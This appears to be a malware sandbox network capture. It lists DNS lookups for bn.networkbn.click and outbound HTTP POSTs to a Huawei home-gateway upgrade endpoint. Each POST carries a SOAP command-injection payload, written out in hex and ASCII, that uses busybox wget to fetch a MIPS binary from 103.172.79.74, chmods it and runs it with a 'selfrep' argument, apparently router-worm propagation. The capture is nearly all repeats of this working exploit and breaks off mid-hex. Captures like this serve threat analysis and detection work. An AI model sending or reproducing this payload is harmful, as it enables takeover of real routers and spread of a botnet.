Mar 17, 2024 03:44:43.339631081 CET	8.8.8.8	192.168.2.14	0x589a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:44.106019974 CET	8.8.8.8	192.168.2.14	0x82b7	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:44.874687910 CET	8.8.8.8	192.168.2.14	0xd9c9	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:45.650944948 CET	8.8.8.8	192.168.2.14	0xa43	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:46.427859068 CET	8.8.8.8	192.168.2.14	0x5b7a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:47.192267895 CET	8.8.8.8	192.168.2.14	0xd869	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:47.984340906 CET	8.8.8.8	192.168.2.14	0x4b25	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:48.824587107 CET	8.8.8.8	192.168.2.14	0x5205	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:49.584722996 CET	8.8.8.8	192.168.2.14	0xb1e8	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:50.400758982 CET	8.8.8.8	192.168.2.14	0x942c	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:51.194447041 CET	8.8.8.8	192.168.2.14	0xffcd	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:51.955352068 CET	8.8.8.8	192.168.2.14	0x9997	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:52.764754057 CET	8.8.8.8	192.168.2.14	0xbb7c	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:53.522402048 CET	8.8.8.8	192.168.2.14	0x8ec2	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:54.317087889 CET	8.8.8.8	192.168.2.14	0x1dc3	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:55.087547064 CET	8.8.8.8	192.168.2.14	0x5d53	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:55.922497034 CET	8.8.8.8	192.168.2.14	0xcdb2	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:56.684196949 CET	8.8.8.8	192.168.2.14	0xc4e4	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:57.459244013 CET	8.8.8.8	192.168.2.14	0xdd52	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:58.203121901 CET	8.8.8.8	192.168.2.14	0x2794	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:43:37.068763971 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:38.633043051 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:40.456964970 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:44.264816046 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:51.688529015 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:06.279926062 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:36.998671055 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:43:37.181394100 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:37.737081051 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 